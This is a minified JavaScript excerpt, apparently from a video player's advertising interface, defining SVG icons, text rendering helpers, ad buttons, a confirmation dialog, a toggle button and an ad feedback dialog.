ju3=function(x){x=x===void 0?null:x;return x!=null&&(x=x.thumbnail,x!=null&&x.thumbnails!=null&&x.thumbnails.length!=0&&x.thumbnails[0].width!=null&&x.thumbnails[0].height!=null)?new g.lu(x.thumbnails[0].width||0,x.thumbnails[0].height||0):new g.lu(0,0)};
g.eb=function(x){if(x.simpleText)return x.simpleText;if(x.runs){var T=[];x=g.S(x.runs);for(var t=x.next();!t.done;t=x.next())t=t.value,t.text&&T.push(t.text);return T.join("")}return""};
g.l9=function(x){if(x.simpleText)return x=document.createTextNode(x.simpleText),x;var T=[];if(x.runs)for(var t=0;t<x.runs.length;t++){var u=x.runs[t];if(u.text){var H=T,I=H.push,E=null;var Z=u.text;u.bold&&(E=KI("B",null,E||Z));u.italics&&(E=KI("I",null,E||Z));u.strikethrough&&(E=KI("STRIKE",null,E||Z));u.navigationEndpoint&&u.navigationEndpoint.urlEndpoint&&(u=u.navigationEndpoint.urlEndpoint,E=KI("A",null,E||Z),g.VD(E,u.url),u.target=="TARGET_NEW_WINDOW"&&(E.target="_blank"));Z=E||KI("SPAN",null,
Z);I.call(H,Z)}}return T.length==1?T[0]:KI("SPAN",null,T)};
g.eyJ=function(){return{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,X:{d:"M7,24 L7,27 L10,27 C10,25.34 8.66,24 7,24 L7,24 Z M7,20 L7,22 C9.76,22 12,24.24 12,27 L14,27 C14,23.13 10.87,20 7,20 L7,20 Z M25,13 L11,13 L11,14.63 C14.96,15.91 18.09,19.04 19.37,23 L25,23 L25,13 L25,13 Z M7,16 L7,18 C11.97,18 16,22.03 16,27 L18,27 C18,20.92 13.07,16 7,16 L7,16 Z M27,9 L9,9 C7.9,9 7,9.9 7,11 L7,14 L9,14 L9,11 L27,11 L27,25 L20,25 L20,27 L27,27 C28.1,27 29,26.1 29,25 L29,11 C29,9.9 28.1,9 27,9 L27,9 Z",
fill:"#fff"}}]}};
mo=function(){return{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",X:{d:"m 14.8,21.9 -4.2,-4.2 -1.4,1.4 5.6,5.6 12,-12 -1.4,-1.4 -10.6,10.6 z",fill:"#fff"}}]}};
g.dr=function(){return{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 32 32",width:"100%"},W:[{L:"path",X:{d:"M 19.41,20.09 14.83,15.5 19.41,10.91 18,9.5 l -6,6 6,6 z",fill:"#fff"}}]}};
g.MS=function(){return{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 32 32",width:"100%"},W:[{L:"path",X:{d:"m 12.59,20.34 4.58,-4.59 -4.58,-4.59 1.41,-1.41 6,6 -6,6 z",fill:"#fff"}}]}};
l_X=function(){return{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 14 14",width:"100%"},W:[{L:"path",X:{d:"M14,14 L14,0 L0,0 L0,14 L14,14 Z"}},{L:"path",X:{d:"M7.15,8.35 L9.25,10.45 L10.65,9.05 L8.55,6.95 L10.7,4.8 L9.3,3.4 L7.15,5.55 L5,3.4 L3.6,4.8 L5.75,6.95 L3.65,9.05 L5.05,10.45 L7.15,8.35 Z",fill:"#fff"}}]}};
m4X=function(){return{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 14 14",width:"100%"},W:[{L:"path",OF:!0,X:{d:"M2,14 L5,11 L5,3 L2,0 L9,0 L9,14 L2,14 L2,14 Z",fill:"#eaeaea"}}]}};
d4D=function(){return{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 14 14",width:"100%"},W:[{L:"path",OF:!0,X:{d:"M12,14 L9,11 L9,3 L12,0 L5,0 L5,14 L12,14 Z",fill:"#eaeaea"}}]}};
g.A3=function(){return{L:"svg",X:{height:"100%",viewBox:"0 0 24 24",width:"100%"},W:[{L:"path",X:{d:"M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z",fill:"#fff"}}]}};
MDJ=function(){return{L:"svg",X:{height:"100%",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",X:{d:"M14.1 24.9L7.2 18.0l6.9-6.9L12.0 9.0l-9.0 9.0 9.0 9.0 2.1-2.1zm7.8 .0l6.9-6.9-6.9-6.9L24.0 9.0l9.0 9.0-9.0 9.0-2.1-2.1z",fill:"#fff"}}]}};
AS3=function(){return{L:"svg",X:{viewBox:"0 0 24 24"},W:[{L:"path",X:{d:"M0 0h24v24H0z",fill:"none"}},{L:"path",X:{d:"M15 3H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v1.91l.01.01L1 14c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.59-6.59c.36-.36.58-.86.58-1.41V5c0-1.1-.9-2-2-2zm4 0v12h4V3h-4z",fill:"#fff"}}]}};
Ryf=function(){return{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"M 10,24 18.5,18 10,12 V 24 z M 19,12 V 24 L 27.5,18 19,12 z"}}]}};
PoD=function(){return{L:"svg",X:{fill:"none",height:"24",viewBox:"0 0 24 24",width:"24"},W:[{L:"path",X:{"clip-rule":"evenodd",d:"M2 12C2 6.48 6.48 2 12 2C17.52 2 22 6.48 22 12C22 17.52 17.52 22 12 22C6.48 22 2 17.52 2 12ZM13 16V18H11V16H13ZM12 20C7.59 20 4 16.41 4 12C4 7.59 7.59 4 12 4C16.41 4 20 7.59 20 12C20 16.41 16.41 20 12 20ZM8 10C8 7.79 9.79 6 12 6C14.21 6 16 7.79 16 10C16 11.28 15.21 11.97 14.44 12.64C13.71 13.28 13 13.90 13 15H11C11 13.17 11.94 12.45 12.77 11.82C13.42 11.32 14 10.87 14 10C14 8.9 13.1 8 12 8C10.9 8 10 8.9 10 10H8Z",
fill:"white","fill-rule":"evenodd"}}]}};
Sxf=function(){return{L:"svg",X:{fill:"#fff",height:"100%",version:"1.1",viewBox:"0 0 48 48",width:"100%"},W:[{L:"path",X:{d:"M0 0h48v48H0z",fill:"none"}},{L:"path",X:{d:"M22 34h4V22h-4v12zm2-30C12.95 4 4 12.95 4 24s8.95 20 20 20 20-8.95 20-20S35.05 4 24 4zm0 36c-8.82 0-16-7.18-16-16S15.18 8 24 8s16 7.18 16 16-7.18 16-16 16zm-2-22h4v-4h-4v4z"}}]}};
cSq=function(){return{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"m 17,23 h 2 V 17 H 17 Z M 18,8 C 12.47,8 8,12.47 8,18 8,23.52 12.47,28 18,28 23.52,28 28,23.52 28,18 28,12.47 23.52,8 18,8 Z m 0,18 c -4.41,0 -8,-3.59 -8,-8 0,-4.41 3.59,-8 8,-8 4.41,0 8,3.59 8,8 0,4.41 -3.59,8 -8,8 z M 17,15 h 2 v -2 h -2 z"}}]}};
Yx5=function(){return{L:"svg",X:{viewBox:"0 0 24 24"},W:[{L:"path",X:{d:"M0 0h24v24H0z",fill:"none"}},{L:"path",X:{d:"M1 21h4V9H1v12zm22-11c0-1.1-.9-2-2-2h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.59 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73v-1.91l-.01-.01L23 10z",fill:"#fff"}}]}};
R4=function(){return{L:"svg",X:{height:"100%",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",X:{d:"M5.85 18.0c0.0-2.56 2.08-4.65 4.65-4.65h6.0V10.5H10.5c-4.14 .0-7.5 3.36-7.5 7.5s3.36 7.5 7.5 7.5h6.0v-2.85H10.5c-2.56 .0-4.65-2.08-4.65-4.65zM12.0 19.5h12.0v-3.0H12.0v3.0zm13.5-9.0h-6.0v2.85h6.0c2.56 .0 4.65 2.08 4.65 4.65s-2.08 4.65-4.65 4.65h-6.0V25.5h6.0c4.14 .0 7.5-3.36 7.5-7.5s-3.36-7.5-7.5-7.5z",fill:"#fff"}}]}};
U43=function(){return{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 14 14",width:"100%"},W:[{L:"path",OF:!0,X:{d:"M5,0 L9,0 L9,14 L5,14 L5,0 Z",fill:"#eaeaea"}}]}};
Pa=function(){return{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"M 12,24 20.5,18 12,12 V 24 z M 22,12 v 12 h 2 V 12 h -2 z"}}]}};
g.Sb=function(){return{L:"svg",X:{fill:"#fff",height:"24px",viewBox:"0 0 24 24",width:"24px"},W:[{L:"path",X:{d:"M7.58 4.08L6.15 2.65C3.75 4.48 2.17 7.3 2.03 10.5h2c.15-2.65 1.51-4.97 3.55-6.42zm12.39 6.42h2c-.15-3.2-1.73-6.02-4.12-7.85l-1.42 1.43c2.02 1.45 3.39 3.77 3.54 6.42zM18 11c0-3.07-1.64-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.63 5.36 6 7.92 6 11v5l-2 2v1h16v-1l-2-2v-5zm-6 11c.14 0 .27-.01.4-.04.65-.14 1.18-.58 1.44-1.18.1-.24.15-.5.15-.78h-4c.01 1.1.9 2 2.01 2z"}}]}};
ca=function(){return{L:"svg",X:{fill:"#fff",height:"100%",version:"1.1",viewBox:"0 0 48 48",width:"100%"},W:[{L:"path",X:{d:"M0 0h48v48H0z",fill:"none"}},{L:"path",X:{d:"M38 38H10V10h14V6H10c-2.21 0-4 1.79-4 4v28c0 2.21 1.79 4 4 4h28c2.21 0 4-1.79 4-4V24h-4v14zM28 6v4h7.17L15.51 29.66l2.83 2.83L38 12.83V20h4V6H28z"}}]}};
bM5=function(){return{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"M 12,26 16,26 16,10 12,10 z M 21,26 25,26 25,10 21,10 z"}}]}};
rSD=function(){return{L:"svg",X:{fill:"none",height:"24",viewBox:"0 0 24 24",width:"24"},W:[{L:"path",G:"ytp-svg-fill",X:{"clip-rule":"evenodd",d:"M12 4C9.79 4 8 5.79 8 8C8 10.21 9.79 12 12 12C14.21 12 16 10.21 16 8C16 5.79 14.21 4 12 4ZM14 8C14 6.9 13.1 6 12 6C10.9 6 10 6.9 10 8C10 9.1 10.9 10 12 10C13.1 10 14 9.1 14 8ZM18 17C17.8 16.29 14.7 15 12 15C9.3 15 6.2 16.29 6 17.01V18H18V17ZM4 17C4 14.34 9.33 13 12 13C14.67 13 20 14.34 20 17V20H4V17Z","fill-rule":"evenodd"}}]}};
zyC=function(){return{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,X:{d:"M25,17 L17,17 L17,23 L25,23 L25,17 L25,17 Z M29,25 L29,10.98 C29,9.88 28.1,9 27,9 L9,9 C7.9,9 7,9.88 7,10.98 L7,25 C7,26.1 7.9,27 9,27 L27,27 C28.1,27 29,26.1 29,25 L29,25 Z M27,25.02 L9,25.02 L9,10.97 L27,10.97 L27,25.02 L27,25.02 Z",fill:"#fff"}}]}};
YB=function(){return{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"M 12,26 18.5,22 18.5,14 12,10 z M 18.5,22 25,18 25,18 18.5,14 z"}}]}};
kGD=function(){return{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"m 12,12 h 2 v 12 h -2 z m 3.5,6 8.5,6 V 12 z"}}]}};
g.UV=function(){return{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"M 18,11 V 7 l -5,5 5,5 v -4 c 3.3,0 6,2.7 6,6 0,3.3 -2.7,6 -6,6 -3.3,0 -6,-2.7 -6,-6 h -2 c 0,4.4 3.6,8 8,8 4.4,0 8,-3.6 8,-8 0,-4.4 -3.6,-8 -8,-8 z"}}]}};
g.b9=function(){return{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,X:{d:"m 23.94,18.78 c .03,-0.25 .05,-0.51 .05,-0.78 0,-0.27 -0.02,-0.52 -0.05,-0.78 l 1.68,-1.32 c .15,-0.12 .19,-0.33 .09,-0.51 l -1.6,-2.76 c -0.09,-0.17 -0.31,-0.24 -0.48,-0.17 l -1.99,.8 c -0.41,-0.32 -0.86,-0.58 -1.35,-0.78 l -0.30,-2.12 c -0.02,-0.19 -0.19,-0.33 -0.39,-0.33 l -3.2,0 c -0.2,0 -0.36,.14 -0.39,.33 l -0.30,2.12 c -0.48,.2 -0.93,.47 -1.35,.78 l -1.99,-0.8 c -0.18,-0.07 -0.39,0 -0.48,.17 l -1.6,2.76 c -0.10,.17 -0.05,.39 .09,.51 l 1.68,1.32 c -0.03,.25 -0.05,.52 -0.05,.78 0,.26 .02,.52 .05,.78 l -1.68,1.32 c -0.15,.12 -0.19,.33 -0.09,.51 l 1.6,2.76 c .09,.17 .31,.24 .48,.17 l 1.99,-0.8 c .41,.32 .86,.58 1.35,.78 l .30,2.12 c .02,.19 .19,.33 .39,.33 l 3.2,0 c .2,0 .36,-0.14 .39,-0.33 l .30,-2.12 c .48,-0.2 .93,-0.47 1.35,-0.78 l 1.99,.8 c .18,.07 .39,0 .48,-0.17 l 1.6,-2.76 c .09,-0.17 .05,-0.39 -0.09,-0.51 l -1.68,-1.32 0,0 z m -5.94,2.01 c -1.54,0 -2.8,-1.25 -2.8,-2.8 0,-1.54 1.25,-2.8 2.8,-2.8 1.54,0 2.8,1.25 2.8,2.8 0,1.54 -1.25,2.8 -2.8,2.8 l 0,0 z",
fill:"#fff"}}]}};
g.rr=function(){return{L:"svg",X:{height:"100%",viewBox:"0 0 16 16",width:"100%"},W:[{L:"path",X:{d:"M13 4L12 3 8 7 4 3 3 4 7 8 3 12 4 13 8 9 12 13 13 12 9 8z",fill:"#fff"}}]}};
FPX=function(){return{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"M 12,25 19,25 19,11 12,11 z M 19,25 26,25 26,11 19,11 z"}}]}};
zQ=function(){return{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"m 21.48,17.98 c 0,-1.77 -1.02,-3.29 -2.5,-4.03 v 2.21 l 2.45,2.45 c .03,-0.2 .05,-0.41 .05,-0.63 z m 2.5,0 c 0,.94 -0.2,1.82 -0.54,2.64 l 1.51,1.51 c .66,-1.24 1.03,-2.65 1.03,-4.15 0,-4.28 -2.99,-7.86 -7,-8.76 v 2.05 c 2.89,.86 5,3.54 5,6.71 z M 9.25,8.98 l -1.27,1.26 4.72,4.73 H 7.98 v 6 H 11.98 l 5,5 v -6.73 l 4.25,4.25 c -0.67,.52 -1.42,.93 -2.25,1.18 v 2.06 c 1.38,-0.31 2.63,-0.95 3.69,-1.81 l 2.04,2.05 1.27,-1.27 -9,-9 -7.72,-7.72 z m 7.72,.99 -2.09,2.08 2.09,2.09 V 9.98 z"}}]}};
kB=function(x,T,t){T=T===void 0?!1:T;t=t===void 0?!1:t;if(!x)return null;switch(x.iconType){case "OPEN_IN_NEW":case "EXTERNAL_LINK":return t?{L:"svg",X:{fill:"#fff",height:"100%",version:"1.1",viewBox:"0 0 24 24",width:"100%"},W:[{L:"path",X:{d:"M21 21H3V3h9v1H4v16h16v-8h1v9zM15 3v1h4.32l-8.03 8.03.71.71 8-8V9h1V3h-6z"}}]}:ca();case "CHECK_BOX":return{L:"svg",X:{height:"100%",viewBox:"0 0 24 24",width:"100%"},W:[{L:"path",X:{d:"M0 0h24v24H0z",fill:"none"}},{L:"path",X:{d:"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.11 0 2-.9 2-2V5c0-1.1-.89-2-2-2zm-9 14l-5-5 1.41-1.41L10 14.17l7.59-7.59L19 8l-9 9z",
fill:"#d4d4d4"}}]};case "CHECK_BOX_OUTLINE_BLANK":return{L:"svg",X:{height:"100%",viewBox:"0 0 24 24",width:"100%"},W:[{L:"path",X:{d:"M19 5v14H5V5h14m0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2z",fill:"#d4d4d4"}},{L:"path",X:{d:"M0 0h24v24H0z",fill:"none"}}]};case "CLOSE":return g.A3();case "INFO_OUTLINE":return T?{L:"svg",X:{fill:"#fff",height:"12px",style:"padding-top: 8px",viewBox:"0 -960 960 960",width:"12px"},W:[{L:"path",X:{d:"M430.09-270.8h101.34V-528H430.09v257.2Zm49.52-338.03q20.94 0 35.34-14.01 14.4-14.01 14.4-34.95 0-20.94-14.01-35.34-14.01-14.39-34.95-14.39-20.94 0-35.34 14.01-14.4 14.01-14.4 34.95 0 20.94 14.01 35.34 14.01 14.39 34.95 14.39Zm.67 548.18q-86.64 0-163.19-32.66-76.56-32.66-133.84-89.94t-89.94-133.8q-32.66-76.51-32.66-163.41 0-87.15 32.72-163.31t90.14-133.61q57.42-57.44 133.79-89.7 76.38-32.27 163.16-32.27 87.14 0 163.31 32.26 76.16 32.26 133.61 89.71 57.45 57.45 89.71 133.86 32.26 76.42 32.26 163.33 0 86.91-32.27 163.08-32.26 76.18-89.7 133.6-57.45 57.42-133.83 90.14-76.39 32.72-163.27 32.72Zm-.33-105.18q131.13 0 222.68-91.49 91.54-91.49 91.54-222.63 0-131.13-91.49-222.68-91.49-91.54-222.63-91.54-131.13 0-222.68 91.49-91.54 91.49-91.54 222.63 0 131.13 91.49 222.68 91.49 91.54 222.63 91.54ZM480-480Z"}}]}:
Sxf();case "REMOVE_CIRCLE":return{L:"svg",X:{fill:"#fff",height:"100%",version:"1.1",viewBox:"0 0 24 24",width:"100%"},W:[{L:"path",X:{d:"M0 0h24v24H0z",fill:"none"}},{L:"path",X:{d:"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm5 11H7v-2h10v2z",fill:"#757575"}}]};case "SKIP_NEXT":return Pa();case "SKIP_NEXT_NEW":return{L:"svg",X:{height:"100%",viewBox:"-6 -6 36 36",width:"100%"},W:[{L:"path",X:{d:"M5,18l10-6L5,6V18L5,18z M19,6h-2v12h2V6z",fill:"#fff"}}]};case "LIKE":return Yx5();
case "DISLIKE":return AS3();default:return g.Vh(new g.CS("Unexpected icon:",x)),null}};
FK=function(x,T,t,u,H,I,E,Z,e){H=H===void 0?[]:H;E=E===void 0?!1:E;e=e===void 0?!1:e;H={L:"button",DZ:["ytp-ad-button"].concat(H)};Z!=null&&(H.X={tabindex:Z});ZJ.call(this,x,H,I===void 0?"button":I,T,t,u);this.C=this.Z=this.j=null;this.D=E;this.K=e;this.hide()};
hyf=function(x){var T=null;x.C!=null&&(T=[x.C.serviceEndpoint,x.C.navigationEndpoint].filter(function(t){return t!=null}),x.C.command&&(T=T.concat(x.C.command)));
return T||[]};
h3=function(){g.W.call(this);var x=this;this.C=new Map;this.Z=Qpm(function(T){if(T.target&&(T=x.C.get(T.target))&&T)for(var t=0;t<T.length;t++)g.Be(T[t])})};
v$D=function(){va==null&&(va=new h3);return va};
Vo=function(x,T){if(x.simpleText){a:{x=x.simpleText;if(T&&(T=VDv(x))){T=KI("SPAN",null,T);break a}T=g.xU(x)}return T}var t=[];if(x.runs)for(var u=0;u<x.runs.length;u++){var H=x.runs[u];H.text&&t.push(GG3(H,T))}return t.length==1?t[0]:KI("SPAN",null,t)};
GG3=function(x,T){var t=null,u=x.text;T&&(u=VDv(u)||u);x.bold&&(t=KI("B",null,t||u));x.italics&&(t=KI("I",null,t||u));x.strikethrough&&(t=KI("STRIKE",null,t||u));x.navigationEndpoint&&g.N(x.navigationEndpoint,g.GQ)&&(T=g.N(x.navigationEndpoint,g.GQ),t=KI("A",null,t||u),g.VD(t,T.url),T.target=="TARGET_NEW_WINDOW"&&(t.target="_blank"),x=x.navigationEndpoint.loggingUrls)&&(x=x.map(function(H){return H.baseUrl}),v$D().register(t,x),g.uY(t,"ytp-ad-has-logging-urls"));
return t||KI("SPAN",null,u)};
VDv=function(x){x=x.split(/(?:\r\n|\r|\n)/g);if(x.length>1){for(var T=[x[0]],t=1;t<x.length;t++)T.push(KI("BR")),T.push(x[t]);return T}return null};
LK=function(x,T,t,u,H,I,E,Z,e){I=I===void 0?!1:I;E=E===void 0?[]:E;e=e===void 0?!1:e;ZJ.call(this,x,{L:"span",DZ:["ytp-ad-hover-text-button"].concat(E)},Z===void 0?"ad-hover-text-button":Z,T,t,u);this.button=this.Z=null;this.S=I;this.D=H;this.j=e;this.hide()};
nK=function(x){return x&&x.thumbnails&&(x.thumbnails||null).length!=0&&x.thumbnails[0].url?g.Kd(x.thumbnails[0].url):""};
a4=function(x,T,t,u,H,I){I=I===void 0?!1:I;ZJ.call(this,x,{L:"img",G:"ytp-ad-image"},"ad-image",T,t,u,H===void 0?null:H);this.C=I;this.hide()};
gr=function(x,T,t,u,H,I){H=H===void 0?[]:H;ZJ.call(this,x,{L:"div",DZ:["ytp-ad-confirm-dialog-background"],W:[{L:"div",G:"ytp-ad-confirm-dialog-container",W:[{L:"div",DZ:["ytp-ad-confirm-dialog"].concat(H),X:{role:"dialog",tabindex:"-1"},W:[{L:"div",G:"ytp-ad-confirm-dialog-title",z9:"{{title}}"},{L:"div",G:"ytp-ad-confirm-dialog-messages"},{L:"div",G:"ytp-ad-confirm-dialog-confirm-container",W:[{L:"button",G:"ytp-ad-confirm-dialog-cancel-button",z9:"{{cancelLabel}}"},{L:"button",G:"ytp-ad-confirm-dialog-confirm-button",
z9:"{{confirmLabel}}"}]}]}]},{L:"button",DZ:["ytp-ad-confirm-dialog-close-overlay-button","ytp-ad-button","ytp-ad-button-link"],W:[{L:"span",G:"ytp-ad-button-icon",W:[g.A3()]}]}]},I===void 0?"confirm-dialog":I,T,t,u);this.S=this.Um("ytp-ad-confirm-dialog-close-overlay-button");this.K=this.Um("ytp-ad-confirm-dialog-cancel-button");this.D=this.Um("ytp-ad-confirm-dialog-confirm-button");this.jY=this.Um("ytp-ad-confirm-dialog-messages");this.j=null;this.C=new bj;g.y(this,this.C);this.Z=null;this.hide()};
LPX=function(x,T){if(T.title){var t=g.eb(T.title);x.updateValue("title",t)}if(T.dialogMessages){t=g.S(T.dialogMessages);for(var u=t.next();!u.done;u=t.next())u=Vo(u.value),x.jY.appendChild(u)}T.cancelLabel&&(t=g.eb(T.cancelLabel),x.updateValue("cancelLabel",t),x.C.V(x.K,"click",function(H){return x.w4(H)}));
T.confirmLabel&&(T=g.eb(T.confirmLabel),x.updateValue("confirmLabel",T),x.C.V(x.D,"click",function(H){return x.Oy(H)}));
x.C.V(x.S,"click",function(H){return x.l$(H)})};
Ba=function(x,T,t,u,H,I){H=H===void 0?[]:H;I=I===void 0?"toggle-button":I;var E=sV("ytp-ad-toggle-button-input"),Z={role:"button","aria-label":"{{tooltipText}}"};x.Y().experiments.aU("fix_h5_toggle_button_a11y")&&(Z.tabindex="0");x.Y().experiments.aU("fix_toggle_button_role_for_ad_components")&&(Z.role="checkbox");ZJ.call(this,x,{L:"div",DZ:["ytp-ad-toggle-button"].concat(H),W:[{L:"label",G:"ytp-ad-toggle-button-label",X:{"for":E},W:[{L:"span",G:"ytp-ad-toggle-button-icon",X:Z,W:[{L:"span",G:"ytp-ad-toggle-button-untoggled-icon",
z9:"{{untoggledIconTemplateSpec}}"},{L:"span",G:"ytp-ad-toggle-button-toggled-icon",z9:"{{toggledIconTemplateSpec}}"}]},{L:"input",G:"ytp-ad-toggle-button-input",X:{id:E,type:"checkbox"}},{L:"span",G:"ytp-ad-toggle-button-text",z9:"{{buttonText}}"},{L:"span",G:"ytp-ad-toggle-button-tooltip",z9:"{{tooltipText}}"}]}]},I,T,t,u);this.K=this.Um("ytp-ad-toggle-button");this.C=this.Um("ytp-ad-toggle-button-input");this.Z=this.Um("ytp-ad-toggle-button-icon");this.S=this.Um("ytp-ad-toggle-button-untoggled-icon");
this.D=this.Um("ytp-ad-toggle-button-toggled-icon");this.Om=this.Um("ytp-ad-toggle-button-text");this.j=null;this.jY=!1;this.hide()};
Wa=function(x){x.jY&&(x.isToggled()?(g.Y4(x.S,!1),g.Y4(x.D,!0),x.api.Y().experiments.aU("fix_toggle_button_role_for_ad_components")&&x.Z.setAttribute("aria-checked",!0)):(g.Y4(x.S,!0),g.Y4(x.D,!1),x.api.Y().experiments.aU("fix_toggle_button_role_for_ad_components")&&x.Z.setAttribute("aria-checked",!1)))};
n$v=function(x,T){var t=null;x.j&&(t=(T?[x.j.defaultServiceEndpoint,x.j.defaultNavigationEndpoint]:[x.j.toggledServiceEndpoint]).filter(function(u){return u!=null}));
return t||[]};
a_J=function(x,T,t){this.actionType=T;this.id=t;this.content=x};
DJ=function(x){bj.call(this);this.C=x;this.V(this.C,"onAdUxUpdate",this.D)};
yo=function(x,T,t,u){ZJ.call(this,x,{L:"div",G:"ytp-ad-feedback-dialog-background",W:[{L:"div",G:"ytp-ad-feedback-dialog-container",W:[{L:"div",G:"ytp-ad-feedback-dialog-form",X:{role:"dialog",tabindex:"-1"},W:[{L:"div",G:"ytp-ad-feedback-dialog-title",W:[{L:"span",z9:"{{title}}"}]},{L:"span",G:"ytp-ad-info-dialog-feedback-options-title",z9:"{{reasonsTitle}}"},{L:"div",G:"ytp-ad-info-dialog-feedback-options"},{L:"div",G:"ytp-ad-feedback-dialog-confirm-container",W:[{L:"button",G:"ytp-ad-feedback-dialog-cancel-button",
z9:"{{cancelLabel}}"},{L:"button",G:"ytp-ad-feedback-dialog-confirm-button",z9:"{{confirmLabel}}"}]}]}]}]},"ad-info-dialog",T,t,u);this.K=[];this.C=null;this.D=this.Um("ytp-ad-feedback-dialog-cancel-button");this.S=this.Um("ytp-ad-feedback-dialog-confirm-button");this.jY=this.Um("ytp-ad-info-dialog-feedback-options");this.Om=this.Um("ytp-ad-feedback-dialog-title");this.j=this.Z=null;this.hide()};
D4f=function(x,T){var t=T.cancelRenderer&&T.cancelRenderer.buttonRenderer||null;t&&(x.C=new FK(x.api,x.layoutId,x.interactionLoggingClientData,x.JQ,["ytp-ad-feedback-dialog-close-button"],"button"),g.y(x,x.C),x.C.init(sV("button"),t,x.macros),x.C.listen("click",x.z1,x),x.C.yU(x.element));T.title&&(t=g.eb(T.title),x.updateValue("title",t));T.reasonsTitle&&(t=g.eb(T.reasonsTitle),x.updateValue("reasonsTitle",t));T.reasons&&g$3(x,T.reasons);T.cancelLabel&&(t=g.eb(T.cancelLabel),x.updateValue("cancelLabel",
t),g.Pc(x.D,"click",function(){return x.z1()}));
T.confirmLabel&&(t=g.eb(T.confirmLabel),x.updateValue("confirmLabel",t),g.Pc(x.S,"click",function(){return BmJ(x)}));
T.undoRenderer&&WPV(x,T.undoRenderer)};
g$3=function(x,T){T=g.S(T);for(var t=T.next();!t.done;t=T.next()){var u=t.value;t=u.reason;if(t==null)g.Vh(Error("AdFeedbackReason.reason was not set."));else if(u=u.endpoint,u==null)g.Vh(Error("AdFeedbackReason.endpoint was not set."));else{t=new NS(t,u);g.y(x,t);u=x.jY;var H=t.yA();u.appendChild(H);x.K.push(t)}}};
WPV=function(x,T){if(T=T&&T.buttonRenderer||null)T.serviceEndpoint?(x.Z=new FK(x.api,x.layoutId,x.interactionLoggingClientData,x.JQ,["ytp-ad-feedback-dialog-undo-mute-button"],"ad-feedback-undo-mute-button"),g.y(x,x.Z),x.Z.init(sV("ad-feedback-undo-mute-button"),T,x.macros),x.Z.listen("click",x.xzy,x),x.Z.yU(x.Om)):g.Vh(Error("AdFeedbackRenderer.undoRenderer.undoButtonRenderer was specified but did not contain a service endpoint."))};
BmJ=function(x){var T=x.K.filter(function(t){return t.isChecked()});
T.length!==0&&(T=T[0].getCommand(),x.layoutId?x.JQ.executeCommand(T,x.layoutId):g.vW(Error("Missing layoutId for ad feedback dialog.")),x.api.onAdUxClicked("ad-feedback-dialog-confirm-button",x.layoutId),x.publish("a"),x.hide())};
NS=function(x,T){this.Z=T;this.C=new g.qS({L:"label",G:"ytp-ad-feedback-dialog-reason-label",W:[{L:"input",G:"ytp-ad-feedback-dialog-reason-input",X:{type:"radio",name:"feedback-reason-group"}},{L:"span",G:"ytp-ad-feedback-dialog-reason-text",z9:g.eb(x)}]});this.j=this.C.Um("ytp-ad-feedback-dialog-reason-input")};
J3=function(x,T,t,u){gr.call(this,x,T,t,u,[],"ad-mute-confirm-dialog")};
